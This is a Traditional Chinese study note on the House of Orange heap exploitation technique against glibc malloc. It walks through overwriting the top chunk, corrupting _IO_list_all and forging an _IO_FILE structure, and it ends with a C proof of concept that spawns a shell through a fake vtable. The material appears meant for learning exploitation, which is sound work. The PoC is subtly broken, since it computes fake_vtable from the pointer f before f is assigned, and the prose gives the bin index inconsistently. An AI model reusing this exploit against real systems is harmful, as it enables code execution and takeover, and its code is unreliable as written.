--- title: House of Orange 筆記 tags: security lang: zh_tw --- # House of Orange 筆記 * 使用中完全不會用到 free() * 結合 File Structure Exploitation, 實在是很巧妙 # Step 1. 改 Top Chunk Size, 使之變小, 再申請大於 Top Chunk Size (但要小於 0x20000), 使 Top Chunk 被內部流程 free, 並被放入 unsorted bin 2. 改 Top Chunk 的 bk 改成 \_IO_list_all - 0x10, 目的是打 unsafe unlink, 攻擊後 \_IO_list_all 會指向 unsorted chunk, 也就是 &main_arena->top 3. (其實是和 Step 2 同個階段操作, 但拆開說明比較好懂) 改 Top Chunk 的 size, 改成 0x60, 使其在 malloc 後, 會將自己放入 0x60 small bin 中 4. 將 Top Chunk 作為一個 \_IO_FILE 結構體, 偽造此結構以獲取 shell 5. 呼叫 malloc, 申請比 0x60 小的記憶體, 觸發 Step 2 和 3 講到的攻擊, 操作結束後, \_IO_list_all 指向 &main_arena->top, 而該位址作為 \_IO_FILE, 他的 \_chain 形同是 &main_arena->bins\[0x11], 也就是 0x60 small bin bk, 而該位址指向這塊原本是 Top Chunk 的記憶體, 又此塊記憶體已被我們構造成可獲取 shell 的樣子 (請見 File Structure Exploitation) 6. 繼續在 \_int_malloc 中執行, 觸發 malloc_printerr, 並進而觸發 \_IO_all_lockp, 得到 shell ## Step 1 相關程式碼 ![](https://i.imgur.com/lEiAjwT.png) * 改小 Top Chunk, 使其 size 屬於 unsorted bin 範圍 * 申請大於此 size, \_int_malloc 會進到此段程式碼 ![](https://i.imgur.com/ixExmoI.png) ![](https://i.imgur.com/KGVdBto.png) * sysmalloc 會判斷要用 mmap 或 sbrk 來配置記憶體 * 若申請大小大於 mmap_threshold, 且還有空間能夠 mmap, 則使用 mmap 來創造 * 這段不是我們想進入的, 所以申請的大小不要大於 128 K (0x20000) ![](https://i.imgur.com/6cSTfT0.png) * sysmalloc 中有這段檢查 * Top Chunk Size 大於 MINSIZE * Top Chunk Size Prev_inuse bit 有啟用 * Top Chunk + Top Chunk Size 需對齊 page ![](https://i.imgur.com/sOn8szB.png) * 最終 free 掉 old_top ## Step 2,3 相關程式碼 ![](https://i.imgur.com/fQpjoBN.png) ![](https://i.imgur.com/rwtMlfW.png) * victim 在此攻擊中為 old_top * **改寫 old_top 的 bk, 改成 \_IO_list_all - 0x10** * 將 unsorted chunk 位址寫入 bck->fd, 也就是寫入 \_IO_list_all * 執行完此程式碼片段後, \_IO_list_all 為 &main_arena->top, 其 fd 與 bk 對應到 main_arena->bins\[0] 和 main_arena->bins\[1] * 現在 &main_arena->top 被視為 \_IO_FILE 結構, 但我們無法自由的在裡面寫資料, 無法構造 \_IO_FILE 結構, 只好再往 \_chain 下手 * 此結構中的 \_chain 的 offset 為 0x68 * &main_arena->top + 0x68 = &main_arena->bins\[11] * 為 0x60 的 small bin bk * 先繼續看 \_\_int_malloc 繼續執行 ![](https://i.imgur.com/xvm9N5K.png) * **改寫 old_top 的 size, 改成 0x61** * 此時 size 為 0x61, 會進入此程式碼段 * bck 為在 main_arena 中的 0x60 small chunk * fwd 為 bck->fd, 此鏈一開始是空的, bck->fd 會是 bck ![](https://i.imgur.com/WAI4prw.png) * 更新鏈表 * bck 的 bk 和 fd 都改為 victim * bck 為在 main_arena 中的 0x60 small chunk * 更改 0x60 small bin bk 為 victim * 也就是將地址在 &main_arena->top 的 \_IO_FILE 結構的 \_chain 改為 victim * victim 在此攻擊中為 old_top, 在此攻擊中假設是可控 * 如此就能任意構造 \_IO_FILE 結構 # PoC ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void getshell() { system("/bin/sh"); } int main(void) { char *p1, *p2; unsigned long long *top; _IO_FILE *f; char *_IO_list_all; void **fake_vtable; p1 = malloc(0x400 - 0x10); // Overwrite size of top chunk // 1) Top Chunk + Size has to be aligned // 2) Top Chunk's prev_size bit has to be set top = p1 + 0x400 - 0x10; top[1] = 0xc01; // 0x1000 >= Top Chunk size // --> sysmalloc // --> _int_free p2 = malloc(0x1000); // Leak libc _IO_list_all = top[2] + 0x9a8; // When spitting free chunk, chunk->bk->fd gets overwritten // Control chunk->bk, so _IO_list_all = unsorted_chunks(av) = &av->top top[3] = _IO_list_all - 0x10; // Control size to 0x61, so this top chunk will gets added to 0x60 small bin list // &((_IO_FILE *)(&av->top))->_chain // => &av->bins[0x11] // => 0x60 small bin bk // => this top chunk top[1] = 0x61; // Fake _IO_FILE structure // Cannot change top[1] & top[3] // => _IO_read_ptr & _IO_read_base fake_vtable = (char *)f + 0xe0; f = top; f->_mode = 0xffffffff; f->_IO_write_ptr = 1; f->_IO_write_base = 0; *(void **)((char *)f + 0xd8) = fake_vtable; fake_vtable[3] = getshell; // Trigger attack malloc(0x10); } ```